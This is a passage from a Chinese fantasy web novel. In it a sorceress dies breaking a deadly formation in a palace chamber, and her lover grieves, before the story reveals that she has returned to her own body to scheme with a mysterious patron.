“这些都是最坏的情况。”裴清歌又道,“这些日子我控制你去解其他的阵法,多少也熟练了些,到时候应该没有太大的问题,我只是觉得,应该把可能的后果提前跟你说。” 白锦夜点了点头。 裴清歌折好图纸,抬眼看着他,“不过……若是真的出现这些最坏的结果,你……你有什么话要交代么?” 白锦夜没说话,只是迈步走到窗边,向窗外看去,隔了会他才问,“如果我死了,你会怎么样?” “我不能怎么样。”裴清歌看着他的背影,“解完这个阵法,会耗费我太多的精力,大概也活不了太久。” “那也挺好。”白锦夜垂下眼,“不然你若是死了,我一个人,也不知道该怎么活。” 裴清歌皱起眉头,“如果我们成功的解了这个阵法,之后我要是死了,你也得好好活下去。起码将来遇到什么事,你比锦成活下来的可能性大一些。” “不考虑‘神冥公’的后人这些,你就没别的话想对我说么?”白锦夜又问。 “其实我有的时候想,如果没有我,你面对生老病死这件事会不会更坦然些。我让你看到了更多的可能性,你就会有很多超出预期的希望。”裴清歌轻轻地叹了一口气,“但是其实很多事,普通人一辈子都是没办法知道的。” 白锦夜转头看了看裴清歌,走回到她面前,抬手摘掉了脸上的面具,也动手摘掉了裴清歌的,“是,我以前……我很早之前,就已经开始安排我的身后事,就算没什么‘神冥公’血脉只能活到二十二岁的事,单单圣湖水这事,我也活不了太久,那时候我觉得我的身后事已经安排的很妥帖了,就算哪一天突然死了,也没什么放心不下的。” “可是……后来有了你,我放不下的,就越来越多。” “面对生死,我已经没办法坦然了。” “但若是你和我之间一定要死一个,我只希望是我。” “没了我,你可以活得好好的。” “可我也不甘心。”他说着顿了顿,“不甘心你能这样理智平静的安排这件事,可以轻易的舍弃掉我。其实我经常会想,如果我们都是普普通通的人该多好,不用背负这些,哪怕一辈子都要为了生计奔波,但起码……能做一对普通的夫妻,一辈子守在一起。” “我也知道,我说这些,根本触动不了你什么。”白锦夜轻笑一声,“若是因为我最开始对你不好,你讨厌我、恨我,我都能求你原谅,让我做任何事都可以,可偏偏……你也不记恨那些,我就连求你原谅我,都没有资格。” “这就像你狠狠的打了一拳,打了无数拳,都打在棉花上,让我觉得挫败又无能为力。” “以前你也不太愿意跟我说什么,大概因为我成了冥尸,你才会跟我说一些,才可以信任我。如果我不是冥尸,在你心里,我确实和其他的普通人没什么区别。” “我真的不甘心。” 第226章 等我死了,留着给你做个念想 “白锦夜。”裴清歌皱了下眉头,微微侧过身,避开白锦夜的目光,低声道,“明天我们进宫去准备,后天破阵,我会尽量不出差错。” 白锦夜没有接她的话,只是说,“我以前从未想过,我会喜欢什么样的女子,又有什么样的女子会让我动心。可我现在想,对你动心,也是值得的。” 这一次裴清歌沉默了很久,久到白锦夜以为她已经开始厌烦这个话题,不想再说话的时候,她才开了口,“你说的都是认真的?” “嗯。”白锦夜沉着嗓子应了一声。 “好。”裴清歌点点头,“如果这次破阵成功,我和你都没事,破阵之后,我就和你在一起,也会尝试接受你。” 白锦夜愣了下,似乎半响后才反应过来她在说什么,脸上狂喜,“你没骗我?” 裴清歌抬眼看他,“可我也早就跟你说过了,我活不了太久,也许几个月,也可能几天十几天。” “只要你愿意。”白锦夜抓住她的手,“哪怕只能在一起一天,我也开心。” 裴清歌从袖袋里摸出一块玉佩,圆润古朴的玉佩上,雕刻着简单的花纹,她又从白锦夜的腰间抽出凌迟刀,割破了白锦夜的手,把血滴在玉佩上。 血一碰到玉佩,就很快被玉佩吸收了。 她也把玉佩塞进白锦夜的手里,“这是上次回北冥国,我从圣殿拿出来的,我的本命玉佩。圣女的本命玉佩,都是要给北冥国君的。这对圣女是很重要的东西,是要用生命守护的。我师父把玉佩给我的时候,跟我说,就算是人死玉碎,人也得死在玉碎之前。你收着吧。” 白锦夜郑重地看着手里的玉佩,“你放心,我也会用我的命来守着。” “倒也不必。”裴清歌笑了笑,“等我死了,就留给你做个念想。” 白锦夜小心地收起玉佩,抬手抱住裴清歌,“我真的不是在做梦吧?” “你希望你在做梦?”裴清歌笑着看他。 白锦夜摇了摇头,抱着裴清歌坐在床上,一刻都不想放手。 裴清歌垂眼看着他放在自己腰上的手,眉心微微蹙了下,但又很快展平,“你之前问过我,你梦里的那是什么情况。其实你梦里的,已经不是冥路了,是黄泉路。活人上了黄泉路,就有去无回,我第一次见到之后,是害怕,才会想不能再让你活着了。” “那时候我还不知道‘神冥公’的事情,后来回北冥国,我才知道这件事,不过根据净明师太的话,你的梦跟其他人应该也是不一样的。” “我从来没听说过,能把黄泉路引到鬼门关之外,还有那天……你把黄泉路从梦里带到了现实中,这些全都是前所未闻。也可能是我知道的太少,关于你们这一脉的秘密,还有很多需要去找。” 她说着顿了顿,“等京城的事情解决,你就去琼华山吧,尽快找到你们家的旧址。” 白锦夜皱起眉头,她说让他去琼华山,没说她会一起去。 不过等京城的事情解决完,是什么情况,就也不知道了。 他现在不想思考这些事,他没办法想象下一次去琼华山的时候只有他一个人。 顿了会,他转移话题,“这段时间,我偶尔会在梦里梦到一个女子。” 裴清歌进白锦夜的梦确实有段时间了,他一直没有提起,她以为他不会跟她说,她也想着不说就不说吧,说了她也不知道该怎么聊这个话题。 半响没听到裴清歌回答,白锦夜以为她误会了什么,赶紧解释,“那个女子是突然出现的,而且在我的梦里,她好像不受我的控制,反倒是可以做自己想做的事情。最近我在梦里,都是看那本书,她在我梦里,也是一样在看书,看得也是修习术法的书。” 裴清歌微微抿了抿唇,“如果也在修习术法,说不定……只是不小心进了你的梦,但是也不知道是什么情况。” 白锦夜点了点头,他提起这个,本来就是为了转移话题,所以也没太在意裴清歌说的话,更没有发现她的异样。 “那我先回去了。”裴清歌推开他的手站起来。 白锦夜的眼底闪过一抹失望,他以为裴清歌松了口,今晚会留下来睡,“那我送你。” “不用了。”裴清歌摇了摇头,“你今晚也好好休息吧,明早来普宁街找我,我准备了一些东西,需要你帮我一起带进宫。” “好。”白锦夜抿了抿唇,也还是把裴清歌送到府门外,一直站在那看着裴清歌的身影消失了半响,才转身往回走。 走过转角,裴清歌停下脚步,抬头看了看天,轻轻地叹了一口气,在原地站了好一会,才慢慢地往普宁街走。 * 第二天一早,萧公瑾带着萧尺寒来了普宁街,昭纯宫的事,他也跟皇上说了,所以有皇上的手令,这段时间可以自由进出皇宫。 把东西都送到密室,萧公瑾看着面前的阵法,也惊呆了,“这……这样的阵法,恐怕要布置许久了,可当初那个人在皇宫中也不过就住了半个月,怎么可能……” “可能不是他。”裴清歌回答了他的疑问,“但是这些阵法,每隔一段时间就需要有人加固,平时的加固可能简单,混进宫来一个人,很快就能完成。但隔些年,就要更全面的加固一次,他那次可能是要做的事情比较多。” “况且,当时他名声大噪,邀请他去府上的,一定有不少人,他也只是挑了他想去的去,目的性很强了。” “设置阵法人,到底要对天风国做什么啊?”萧公瑾重重地叹了一口气,“原来这些年,就算表面上风平浪静,实际上背地里也不知道那些人都做了什么。” 裴清歌没有接话,隔了会才说,“此事之后,萧太师若是有时间,便查查昭妃的事,当年这里那场大火,绝对不是意外。大火之后,查原因的人,应该多次来过昭纯宫,可能恨不得一寸一寸的搜索这里,怎么可能没发现井下的密道?” “要么是有人设置了幻象,让他们看不到这密道,要么就是负责查核的人有问题。”她说着顿了顿,“可听说前前后后换了几波人来查,不能所有的人都有问题吧?” 她说完,转头瞥了萧公瑾一眼,目光里带了几抹审视。 只有两种可能,第二种被推翻,那就剩下第一种,就算别人不知道,但是萧公瑾自己应该知道,萧忆翎既然能设置幻象,那就证明萧家是有这门术法的,所以这件事里有没有萧家人掺和进来,就要他自己去想了。 第227章 大凶 在场的人,都是人精。 裴清歌这么一说,萧公瑾当即明白了她的意思,当初衡王府赏花宴的时候,萧忆翎就设置了幻象,那一次裴清歌虽然没去,但是白锦夜去了。 白锦夜知道那是幻象,就很可能会告知裴清歌。 设置幻象这种术法,虽然常见,但是只有他们萧家家传的秘法可以维持很长时间,并且也太会耗费精力。 当年昭纯宫一事,前前后后查了几年,而那时候萧家也正好在京中。 萧公瑾明白,白锦夜自然也明白了,他转头看了萧公瑾一眼,并没有说话。 “这件事,回头我就着手去查。”萧公瑾点点头,最怕的不是有敌人,而是敌人就在身边,甚至伪装成了朋友。 萧公瑾感觉,这件事一开始像是很简单,然后越来越复杂,到现在,就像是掉进了一个漩涡,本以为事情揭开的地方就已经是全貌,可没想到揭开的就只是一个角。 现在事态的发展已经越来越不可控了。 裴清歌没再说话,走过去检查了墙上的每一个壁龛。 每个壁龛里都刻着镇压东西的阵法,但是每一个壁龛都是空的。 她微微皱起眉头,或许最开始设置这个阵法的人,是想要留个余地的,将来若是出现什么转变,就拿着这些东西去破解外面的阵法。 但是后来这些东西都被人清理掉了,清理这些东西的那个人,希望这件事一旦开始就不要再回头。 从她学术法开始,就知道大多数阵法都会给人留个活路,若不是到万不得已,都不会把人赶尽杀绝。 就算是有些很恶毒的阵法,都会留下生门。 所以最开始设置阵法的那个人,应该也确实守了这个规矩。 壁龛里的东西没有,外面没有破掉的阵法暂时也就顾不上了。 裴清歌便打开自己带过来的东西,开始布置,“萧太师,若是没有其他的事情,你们就先出去安排其他的事情吧,今天我们先布置,明天午时会准时破阵,到时候能不在宫里的人,就不要在宫里,必须要留在宫里的人,就躲得远远的。” “好。”萧公瑾对着裴清歌拱了拱手,“那就有劳裴先生了。”说完,他又仔细地打量了这阵法一眼,才带着萧尺寒离开了。 出了井口,萧尺寒才开口问,“爷爷,裴先生提到幻象的意思……” 萧公瑾摆了摆手,压低了声音,“咱们家这幻象之术,传女不传男,这么算起来,昭纯宫失火之后没多久,你三姑母全家就搬离了盛京,未免有点巧合了。这件事你不要惊动其他人,明日就启程,去查查她搬离盛京之后,都做了什么。” 萧尺寒转头看了看井下,犹豫了下,“不然,我等裴先生破阵之后再去?” “你留下对破阵有什么帮助?”萧公瑾轻笑一声,“早去早回。” 萧尺寒沉默了会,也只能答应下来,“那我去找下裴先生,我有几句话想跟她说。” 萧公瑾转头看向他,“不要影响裴先生破阵,有什么事回来再说。” 萧尺寒转头看了看枯井的方向,犹豫了会,才点了点头,“那我就出发了。” “嗯。”萧公瑾应了一声,等着萧尺寒离开,才若有所思地看向枯井,微微皱起眉头,隔了半响,才迈步离开。 裴清歌布置了几乎整整一天,中间也都是白锦夜出去找了吃的带回来。 各处她都已经画好阵法,很多地方也贴了符咒。 白锦夜看不懂,但是也知道这些大概极其耗费精力,等裴清歌全都布置好的,她的脸已经苍白的没有一丝血色。 裴清歌往后退了几步,认真地看着密室的每一处布置,全都检查之后,才微微松了一口气,转头看向白锦夜,“明天你就站在石台我画的那个圆圈之内,无论发生什么事,都绝对不能出那个圆圈半步。我担心我对你的控制可能会受到阵法的影响,你一旦离开那里,所有人都会有危险。” 白锦夜点点头,“好。” 裴清歌想了想,大概也没有什么其他的要交代的了,就重申了一遍这件事,“这里的阵法一个套着一个,我看其中还有幻阵,到时候也许会有些幻象,比如……你最重要的人遇到了什么危险一类的,总之,无论你自己是否有意识,只要不离开这个圆圈,就没事。” 白锦夜转头看向她,犹豫了会,才问,“那你呢?” “我到时候要做的可多了。”裴清歌说着轻轻叹了口气,“今天晚上,就在这吧,这里的布置不能出一丝纰漏,万一半夜有人摸进来,可就功亏一篑了。” 白锦夜对这个决定没有异议,毕竟布置这一次已经耗费了裴清歌那么多精力,再布置一次,恐怕她连破阵的精力都没有了。 于是他也就出去找了些被褥,起码晚上也不会太难过。 裴清歌最近这些日子,累的时候,入睡就特别快。 白锦夜躺在她旁边,认真地看着她的脸,丝毫没有睡意,他心里总是觉得不太踏实,像是要发生什么事。 天快亮的时候,才强行逼着自己睡了一会,他想去梦里看看那个女子有没有来,如果来了的话,问问她知不知道关于阴阳子母阵的事。 哪怕大概跟他说一说,让他心里有个底也好。 但是他的梦里空荡荡的,什么都没有。 等他醒来的时候,裴清歌已经在一旁坐着了,她的面前放着三枚铜板,地上也有写写画画的痕迹。 裴清歌之前跟他说过,她每天早起都会给自己算一卦,基本上都是问吉凶。 他抿了抿唇,开口问道,“卦象说什么?” 裴清歌像是看着卦象发呆,他醒来都没有发现,等听到他的声音,才抬起眼,嘴角扯了一抹笑,轻轻地叹了口气,“卦象说,这个阵法能被我们成功的破解掉。” 白锦夜沉默了会,也能明显地看出她嘴角的笑容有些牵强,“但是呢?” “但是……”裴清歌捡起铜板,也把地上的痕迹抹掉,“但是,大凶之兆。” 第228章 锁子弑母阵 白锦夜紧抿着唇,看着裴清歌。 裴清歌笑了笑,“人生福祸相倚,不用太在意。”顿了顿,她又补充,“再说,你我活到今天,每一日不都算是偷来的么?” 白锦夜轻轻点点头,“我出去找点吃的回来。” “好。”裴清歌看着他出门,又转身看着面前的阵法,犹豫了片刻,才走过去,动手改了几处阵法。 等白锦夜回来的时候,她也刚好布置完。 白锦夜看着她走过来的角落,隐约觉得那里跟昨天看到的不太一样,但是他也不懂阵法,想着裴清歌早上算了卦,这会改阵法大概也是跟卦象有关系。 午时一到,裴清歌就起了身,关了密室的门。 密室的门口她设了几个法阵,都是防止别人突然闯入的。 白锦夜看着她去关门,等她转过身的时候,像是在她的脸上看到了几抹笑意,随后就没了感觉。 之前有两次裴清歌控制他的时候,其实也不算完全控制,他只是身体不能动,但是还有些意识。 不过刺杀白砺寒的那一次,他是彻底没有意识的,这一次和那次完全没有区别。 白锦夜不知道自己做了什么,也不知道裴清歌做了什么。 等他有意识的时候,就听到了一声巨响,随即有巨大的冲力击在他的胸口,他喉咙一热,一股腥甜的血涌上来,人也跟着后退了几步。 他虽然恢复了些意识,可也并没有恢复对身体的控制,他看见自己的半只脚出了那个圆圈,但是又很快的挪回来。 他面前的石台不知道什么时候已经破裂,露出来包在里面的小一圈的石台,小石台上面有一个太极图,他的两只手就按在白色中的黑点和黑色中的白点上。 这两点都是凸出的,一侧的冰的,一侧是温热的。 他四下看着,但周围都是雾蒙蒙的,他也看不见裴清歌在哪,只能听到周围不断地有爆破声传来。 片刻后,他突然见到肉尸状态的张太妃站在他身侧,不断地叫着他的名字,甚至伸出手来抓他的胳膊,试图把他的手从太极图上拉开。 又见到张之极在战场上和人打斗,被人击落马下,对方的刀直取他的首级。 白锦夜知道,这是裴清歌说的幻阵,反正周围雾蒙蒙的也看不见裴清歌,于是他干脆闭上了眼睛。 虽然看不见,但依旧能听到各种嘈杂的声音,左辞的、司空的,各种各样他熟悉的或是不熟悉的声音,都在朝他喊着救命。 他依旧站在那一动不动,直到听到裴清歌喊救命让他帮忙的声音,他一下子睁开了眼睛。 周围已经不再是雾蒙蒙的,身边的一切都清晰可见。 裴清歌正在不远处的墙壁旁,倒塌的大石块压在了她的腿上,她完全没办法移动,正朝他喊着,让他过去帮忙。 白锦夜微怔了片刻,想要分辨这是幻想还是现实。 但这一会他已经完全听不到其他的声音,只有裴清歌躺在那,就连之前听到的破阵的声音都没有了。 他拧了下眉,便要过去。 可此刻身体的控制权却依旧不在他身上,他努力地挣扎着,想要移动自己的身体。 正在对抗着身体的这股力量,裴清歌的厉喝声突然从另外一个方向传过来,“白锦夜,你在干什么?” 白锦夜一怔,眼前的景色瞬间变化,重新恢复了雾蒙蒙的样子,刚才看到的裴清歌也消失了。 大概是因为他不再挣扎了,裴清歌也就没再说话。 白锦夜这次彻底地闭上了眼睛,他的身体,现在是裴清歌在控制,若是真的需要他动,裴清歌自然会控制他。 他听着耳边各种嘈杂的声音,不知道过了多久,身上突然一松,他也恢复了对自己身体的控制权。 他掌下的太极图在不断地震动,他睁开眼,看着整个太极图上面出现了一道道龟裂,然后是巨大的爆炸,太极图炸开,把他整个人都炸飞了出去。 他的后背撞到墙上,把墙都撞裂了几条缝隙,他感觉五脏六腑都移了位,从内到外疼得无法呼吸。 过了好半天,疼痛的感觉也没有减轻,不过他大概是适应了这样的疼痛,便赶紧睁开眼睛去寻找裴清歌的身影。 这一会,整个密室已经不再雾蒙蒙了,虽然什么都能看清,但已经是一片狼藉。 原来的阵法和裴清歌布置好的阵法全都被摧毁,有几处墙壁已经完全倒塌,露出后面的泥土。 他的目光在废墟上搜索半响,才终于看到倒在一堆碎石块中的裴清歌。 她背对着他侧躺在那,一动不动,不知道情况怎么样。 白锦夜也顾不上自己身体的疼痛,跌跌撞撞,几乎是半爬着挪到了裴清歌的身边。 裴清歌紧紧地闭着眼睛,嘴角有一丝血流出来。 “清歌。”白锦夜轻轻地叫了她一声,见她没什么反应,才伸手把她扶起来,“清歌?” “咳。”裴清歌咳了一声转醒,可随着这声咳嗽,一大口血从她的嘴里涌出来。 白锦夜有些慌,抬手擦着她嘴角的血,“我现在……我现在该做什么?” 裴清歌微微摇了摇头,“这个阵法……这就解了。” “我知道。”白锦夜皱起眉,他现在不关心这个阵法,他只关心裴清歌,她之前说,破阵的时候,有危险的是他,可是为什么现在是裴清歌倒在这? 裴清歌大概是看出了他眼里的疑问,扯着嘴角,轻轻地笑道,“我骗了你。” 虽然刚才白锦夜已经有了隐隐的猜测,可是听到这话从裴清歌的嘴里说出来,却又是另外一种感觉,他看着她,嘴唇轻抖,一个字都说不出来。 裴清歌垂下眼,“我本来就快死了,又何必再搭上你一条命。”她拧了下眉,压了压喉咙的腥甜,“这根本不是阴阳子母阵,是锁子弑母阵,千年以前,北冥国第一任圣女就是死在这样的阵法之下。” “这世上本就不会有两个完全心意相通的人,一起配合着来解这个阵法。我能把你炼成冥尸,一起来解这个阵法,本就是机缘了。可就算这个阵法可以解,也一定要死一个人。” “其实看到这个阵法的时候,我就知道,这大概就是我的命。” 第229章 主子,你回来了 裴清歌又缓了会,才继续说,“当年,第一任圣女,已经临近成仙,可有些人不想见到她成仙,就抓了她的孩子,设置了这个阵法,她就是在锁子弑母阵里被绞杀。” “她的孩子,也没能活下来。她和她的孩子,死后魂魄也一直被禁锢在阵法之中。” “从那时开始,凡是圣女,都会学习如何来解这个阵法。” 白锦夜以前对北冥国和圣女这些确实好奇过,但是他现在,却一点都不想听裴清歌说这些。 他拧着眉,又擦了擦裴清歌嘴角的血,“我带你离开这。” 裴清歌抬手抓住他的衣领,低声道,“白锦夜,以后的路,你得自己走了,尽快找到你家的旧址,解开黄泉路的秘密。说不定……”她说着顿了顿,“说不定等以后,你的术法大成,能自由出入鬼门关,随心控制黄泉路的时候,还能再……见到我。” 白锦夜低头吻了吻她的额头,声音轻颤,“好,我一定去找你。” 裴清歌轻笑一声,抬眼看着他的侧脸,“其实……那天晚上是我。” 白锦夜不明白她的意思,皱起眉头。 裴清歌目光看向远处,微微有些涣散,“其实我早就在这身体里了,只不过太虚弱,一直都没有出现,那天她吃了药,晕过去,我才醒了过来……” 白锦夜抱着她的手紧了紧。 “这件事瞒了你……”裴清歌又笑了笑,“也不只这件事,还有很多事,我都骗了你……你以后可别轻易相信任何人了,傻傻的被人利用……” “可我心甘情愿,为你做任何事,我都心甘情愿,只要……”白锦夜说到这,声音就戛然而止,因为他能清晰的感觉到,怀里抱着的身体,已经没有一丝丝活人的气息了。 但隔了半响,他还是咬着牙把话说完,“只要你愿意在我身边,让我做什么都行,你答应了我,解决完这件事,就跟我在一起的,可你早就知道是这样的结局……你怎么能这样对我?” “你怎么能这样对我?!” 白锦夜的声音在空荡荡的密室里回响,可也不会再有任何人回答他的话。 密密麻麻龟裂的痕迹以白锦夜为中心向外散开,地面变得透明,但他却完全没有察觉,直到透明的地面蔓延到门口,碰到了裴清歌设置在最外面的法阵。 一道虚影出现在法阵上,“白锦夜,你得学会控制它。” 熟悉的声音传过来,白锦夜立刻转头看去,便见到裴清歌的虚影站在那,不过看的不是他的方向,也只是重复着这一句话—— “白锦夜,你得学会控制它。” “……” 他茫然地垂下眼,看着这地面,所以裴清歌也是大概早就料到了这一点,才会特意在门口设置了一个法阵来提醒他。 她可以预料到这么多事,那有没有预料过,她死了以后他会怎么样? 白锦夜抱起裴清歌,木讷地向外面走,地面恢复了正常,法阵上的虚影也就不见了。 皇宫里面,按照萧公瑾之前交代的,所有人都躲在偏远的角落,所以从昭纯宫到宫门这一路,白锦夜都没有遇到任何人。 刚一出宫门,萧公瑾就远远地应了上来,“贤侄,阵法如何了?” 白锦夜没有理他,径直往前走。 萧公瑾看着他的表情不对,跟着他走了几步,目光落在裴清歌的身上,“裴先生他……” 白锦夜的脚步这才顿了顿,转头看向萧公瑾,轻轻地皱了一下眉头,但最终还是什么都没说,快步离开了。 萧公瑾也不是常人,自然能隐约地感觉到裴清歌身上没有什么生气,他在原地怔了半响,纠结了片刻,最终还是向皇宫里的昭纯宫走去。 白锦夜抱着裴清歌一路回到了府上,榆北迎上来,他还记得昨天早上白锦夜离开的时候,差不多是满脸的笑容,可是这一会…… 他连大气也不敢喘一口,只能跟在白锦夜的身边。 回到房间,白锦夜小心地把裴清歌放在床上,吩咐道,“去打盆清水来。” 榆北是上过战场的人,是昏迷还是已经死了,他自然一眼就能分辨,他盯着白锦夜的背影,半响才慢慢的退出去,犹豫了下,去把桑榆找了过来,交代她打盆温水去给裴清歌洗漱。 听说裴清歌来了又叫她去伺候洗漱,桑榆以为她不生气了,脸上刚露出一抹笑意,就被榆北拽住胳膊,“那位裴先生,恐怕……已经过世了。” 桑榆一开始脑袋里都是空白,看着榆北的嘴一张一合,他说的每个字她都听见了,可是连在一起的意思,她怎么都想不明白。 好一会,她才一把推开榆北的手,快步往白锦夜的房间跑。 很快,房间里就传出桑榆大哭的声音。 白锦夜被她哭得心烦,喊榆北把人弄出去。 榆北拖着桑榆,桑榆哭得上气不接下气,都被拖出门外了,才想起什么,“小姐……小姐有东西让我交给主子。” 白锦夜微微一怔,转头看去。 榆北这才放开了手。 桑榆的手有点抖,半响才从贴身的口袋取出来一封信,“这是小姐赶走我的那天,交给我的,她说……她说她过段时间要离开盛京,要去做一件很大的事情,这件事一定不能让任何人知道,所以一定要等她走了之后,才能把这封信……” 她的话还没说,信就被白锦夜抢走。 白锦夜看着信上的内容,目眦尽裂! 她早就安排好了! 她早就知道自己会死! 从她回到盛京的那一刻……不,这就是她在西慈县推演出来的结果,一步一步,她都是早就知道的! 白锦夜一掌狠狠地拍在桌子上,桌子登时四分五裂! * 西夜国的一处民宅。 躺在床榻上的人蓦地睁开眼睛。 她起了身,眼里先是闪过一丝迷茫,随即嘴角勾起一抹笑。 听到声音,鬼卿从外间走进来,脸上没有任何表情,就连眼神都没有任何波动,他走过来半跪在床前,甚至连说话也不再断断续续—— “主子,你回来了。” 第230章 白锦夜……也不留了么? “嗯。”裴子墨应了一声,抬起手,仔细地看着自己的手指和皮肤,感受着完全属于自己的身体,微微眯了眯眼,“现在是什么时候了?” “八月底了。”鬼卿垂着头回道。 裴子墨微微眯起眼睛,“过去用了两个,回来用了一个月,到底还是自己的身体更好用些。”她说着抬起手,手心缓缓升起一团火焰,“在那个身体里,我的术法连三分之一都发挥不出来,明明很快能解决的事,也要浪费这么久。” 看着她手心的火焰,鬼卿的瞳孔微微瑟缩了一下,赶紧又垂眼看着地面,一动不敢动。 裴子墨下了床,仔细地感受了一下身体,走了几步路,才开始缓缓的适应,“天风国那边有什么动静?” “西夜国军队久攻不下西河城,两军在西河城外对峙。至于白锦夜……半个月前,已经进了琼华山。” 裴子墨轻笑一声,“西夜国这些废物,裴姝在西夜国这么多年,也没培养出半个有用的人。”她走到窗边停下来,眯眼看着外面,“不过也不能怪她,她自己也没好到哪去。”顿了顿,她才继续问,“白锦夜是一个人去琼华山的么?” 鬼卿沉默了一会,才回答,“不是,是和萧尺寒。” “萧家藏了这么多年,我们一进琼华山他们就坐不住了,这次更是连萧尺寒都给放出来跟着一起琼华山,看样子,也是穷途末路了。”裴子墨轻轻地敲了敲窗棂,“放出去的遣鬼小心些,别被萧尺寒发现,一旦他们找到原址,一个不留。” 鬼卿眼底闪过一抹诧异,犹豫了半响,还是试探地问道,“白锦夜……也不留了么?” 裴子墨转头看向他,脸上带了一抹不快,“我刚才说的话,有哪里你听不懂么?” “是。”鬼卿赶紧应道,“主子,还有别的吩咐么?” “我有其他的事要办,稍后你按照原来计划好的,回西河城去跟他们会和,等楚星玄带了人去,就和冷鸢一起把人带出来找我。”裴子墨说完摆了摆手。 鬼卿应了一声,起身退下了,关好房门之后,他的动作微微顿了下,但很快,也不敢多停留,迅速的离开了。 裴子墨站了会,才走到镜子前面,拉开衣领,看着自己肩上的依旧是莲花骨朵,才微微松了一口气。 * 北冥国,九幽圣谷。 一处庭院内,一个年轻的男子穿着一袭红色的袍子,正坐在凉亭中和自己对弈。 棋盘上不是白子和黑子,而是红子和黑子。 此刻男子的手里正拿着一颗黑子,思索着落子的位置。 不过他手上微微一顿,转头朝某个方向看去,脸上露出一丝笑,随即把黑子放回围棋罐中,便端起旁边的茶杯,慢慢地喝了一口茶。 没一会,便见身着黑袍的女子慢慢地走了进来。 裴子墨的速度倒也不快,像是一边走一边在欣赏周围的景色,走到凉亭后,也不等男子说话,便从棋罐里拈起一枚黑子,落在了棋盘上,随后才转身坐在男子的对面。 “事情都办好了?”男子开口问道。 “托你的福,都很顺利。”裴子墨说着轻笑一声,“你放出那么多枯尸,可着实费了我一番功夫。” “哈哈。”男子爽朗一笑,“就知道你能猜到是我放出来的,当时袁澈在鬼王沙漠里乱搞,按照我们的计划,那段时间你也该进鬼王沙漠了,若是在鬼王沙漠里就碰上他,后面的戏还怎么演?” 他说完,看着桌上的棋局,拿起一枚红子,却也不知道落在哪,“刚回来,落子就开始不留余地了么?” “难道你还需要让我让你一子半子的么?”裴子墨抬眼看着他,“嗯?凌珞,还是……我应该叫你,少祀官?” 男子的笑容僵了会,但随即更大,他摇了摇头,把棋子放回棋罐,“你这是怪我瞒你了?” “怎么会呢?”裴子墨勾了勾唇,“少祀官做事,自然有少祀官自己的安排。”说完她把他放回去的棋子捡起来,垂眼看着棋盘,寻找落子的位置。 凌珞已经没心思再跟她下棋,不过看着她自己下棋,似乎也是别有一番滋味,“关于这件事,我确实瞒了你,不过其他的事情,我可真是没有一点隐瞒。” “有没有,我也不知道。就算有,大概也是要等很久之后我才能发现了。”裴子墨落了子,又拿起黑子,自顾自地下棋,“毕竟我是你看着长大的,你说的话,我从小就相信,当然这些同样的说辞,说不定你对裴姝说过,对我师父说过,也对前面很多很多的圣女说过,这些说辞你不知道说过多少遍,自然也不会有什么漏洞。” 听了她的话,凌珞倒也没有解释,只是说,“不过不管我对多少人说过,也只有你走到了现在。” 裴子墨轻笑一声,“这么多年过去,你要做的事情都没做成,你的耐心却还在,我也是很敬佩。” “是啊。”凌珞叹了一口气,“能怎么办,这就是我的命,你办不成,我也得再找下一个人去办。” “那接下来呢?”裴子墨接着问。 凌珞站起身,走到凉亭边,向外面看,“也不知道是不是你的运气好,这么多年来,‘神冥公’的后人就没有一个能打开黄泉路,可要进‘神冥公’留下来的旧址,就必须要通过黄泉路才能走进去。” “哼。”裴清歌微微哼了一声,“这一次你有什么话,最好一次说完,上一次要不是意外,那个唯一能打开黄泉路的人,就已经被我杀了。” “你倒也狠得下心。”凌珞转身看她,“我甚至都以为,你会舍不得回来,毕竟……这段时间他对你,也算挺好。” 裴子墨抬起眼,“少祀官要开始操心我的私事了么?” 凌珞笑了笑,隔了会才道,“你忙了这么久,也该好好休息一段时间,暂时没什么事需要做,等他进了旧址吧。” 裴子墨没再说话,把棋子扔回棋罐,站起来便要离开。 凌珞的目光跟着她,看着她的背影,等她快要走出凉亭,才开口问道,“你师父呢?” 第231章 这世上,不该再有妖莲了 听到这个问题,裴子墨的脚步停了下来,她抬手捋了捋自己的袖口,“死了。” “我知道她死了,我是说,她的魂魄呢?”凌珞又问。 “被我散了。”裴子墨说着转头看他,“她设下的局,可险些就要了我的命,也就幸好我当时魂魄太虚弱,不然重生在裴清歌的身上,她的身体怕是根本承受不住。再说,要不是她横插一脚,一切按照我自己的安排来,也不会重生在裴清歌的身上,那具身体经脉败坏,以致于我处处受制于人。” “不然要浪费这么久的时间?”她说着轻笑一声,“怎么?她对你还有用处?” 凌珞看着她,像是想要从她的脸上看出些端倪,半响后才道,“没有,只是随便问问。不过……也不算坏事,‘神冥公’的后人就算能打开黄泉路,也不见得能把黄泉路引出鬼门关,一定要有外界的刺激,白锦夜对你感情,恰好也促成了这件事,所以就算是因祸得福吧。” 裴子墨直接忽略了他后面的话,只是说,“没有就好,她算计我的时候,可没心慈手软,难道我还留着她等她翻了身,再阴我一次?” 凌珞笑了笑,“回去好好休息吧。” 裴子墨收回目光,一边继续往前走一边道,“从小你就教我,没什么用处的人,就不要留着,免得日后成了自己的绊脚石,是你教得好。” 凌珞没再说话,看着裴子墨的身影消失,才几不可微地皱了下眉头,又回到桌边坐下。 裴子墨离开这处庭院,往前走了一段,有另外一个稍小点的院子,这里没有其他人,但是也打扫得一尘不染,她走进去,进了卧房,随后推开窗子,向外面看去。 九幽圣谷在九幽圣山的最中心,这里只有一条很小的路可以进出,周围都是山。 当然,这里也是第一个妖莲的葬身地。 她就被镇压在九幽圣谷之中。 凌珞每隔十年就要去巩固一次镇压她的阵法。 以前她只知道这里镇压着一个极度危险的东西,凌珞也没有告诉过她到底是什么,直到萧公瑾说完,她才明白。 她抬手摸了摸自己的肩膀,可她不懂,既然明知道妖莲危险,当初凌珞又为什么帮她淬体,让她的身体能够承受住血莲的种子。 她是在琼华山上发现她师父的踪迹,根据从她师父嘴里问出来的话,她大概知道,很多任圣女,都曾帮着凌珞出来办事。 但是总是遇到各种各样的问题,至今也没什么进展。 到了她的时候,凌珞决定另辟蹊径。 以往都是选出圣女之后,凌珞才会去接触。 到裴姝的时候,凌珞提前出现提醒了她,裴姝逃出了北冥国,可之后就开始试图脱离凌珞的掌控。 于是凌珞开始在她小的时候就接近她,这里面唯一的问题就是,她的身体可能没办法接受血莲的种子。 而身体能不能种植血莲,就是在选出圣女的前一夜,去那个红色的池子沐浴。 那整个池子,都是用血莲晶露外加其他的一些的药材熬制,如果不能种植血莲,整个人就会被血莲晶露化掉,能够种植血莲,反倒会被血莲晶露滋养。 